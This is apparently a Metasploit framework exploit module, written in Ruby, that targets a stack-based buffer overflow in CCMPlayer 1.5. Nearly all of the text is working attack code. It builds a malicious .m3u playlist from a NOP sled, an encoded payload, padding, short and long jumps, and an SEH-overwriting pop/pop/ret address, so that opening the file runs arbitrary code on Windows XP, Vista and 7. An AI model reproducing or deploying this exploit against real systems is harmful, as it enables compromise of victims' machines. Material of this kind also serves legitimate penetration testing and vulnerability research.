CCMPlayer 1.5 Stack Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'CCMPlayer 1.5 Stack based Buffer Overflow (.m3u)',  
'Description' => %q{  
This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening  
a m3u playlist with a long track name, a SEH exception record can be overwritten  
with parts of the controllable buffer. SEH execution is triggered after an  
invalid read of an injectible address, thus allowing arbitrary code execution.  
This module works on multiple Windows platforms including: Windows XP SP3,  
Windows Vista, and Windows 7.  
},  
'License' => MSF_LICENSE,  
'Author' => ['Rh0'], # discovery and metasploit module  
'References' =>   
[  
['OSVDB', '77453'],  
['URL', 'http://www.exploit-db.com/exploits/18178/']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'DisablePayloadHandler' => 'true',  
},  
'Payload' =>  
{  
'Space' => 0x1000,  
'BadChars' => "\x00\x0d\x0a\x1a\x2c\x2e\x3a\x5c", # \x00\r\n\x1a,.:\\  
'DisableNops' => 'True',  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'CCMPlayer 1.5',  
{  
# pop esi / pop ebx / ret (in ccmplay.exe)  
# tweak it if necessary  
'Ret' => 0x00403ca7, # last NULL in buffer is accepted  
'Offset' => 0x1000  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => '30 Nov 2011', # to my knowledge  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.m3u']),  
], self.class)  
end  
  
def exploit  
  
m3u = "C:\\"  
# shellcode  
m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "nop").encode_string * 25  
m3u << payload.encoded  
# junk  
m3u << rand_text_alpha_upper(target['Offset'] - (25 + payload.encoded.length))  
# need an access violation when reading next 4 bytes as address (0xFFFFFFFF)  
# to trigger SEH  
m3u << [0xffffffff].pack("V")  
# pad  
m3u << rand_text_alpha_upper(3)  
# long jmp: jmp far back to shellcode  
m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4103").encode_string  
# NSEH: jmp short back to long jmp instruction  
m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string  
# pad (need more 2 bytes to fill up to 4, as jmp $-5 are only 2 bytes)  
m3u << rand_text_alpha_upper(2)  
# SEH Exception Handler Address -> p/p/r  
m3u << [target.ret].pack("V")  
m3u << ".mp3\r\n" # no crash without it  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
# Open CCMPlayer -> Songs -> Add -> Files of type: m3u -> msf.m3u => exploit  
file_create(m3u)  
  
end  
  
end  
`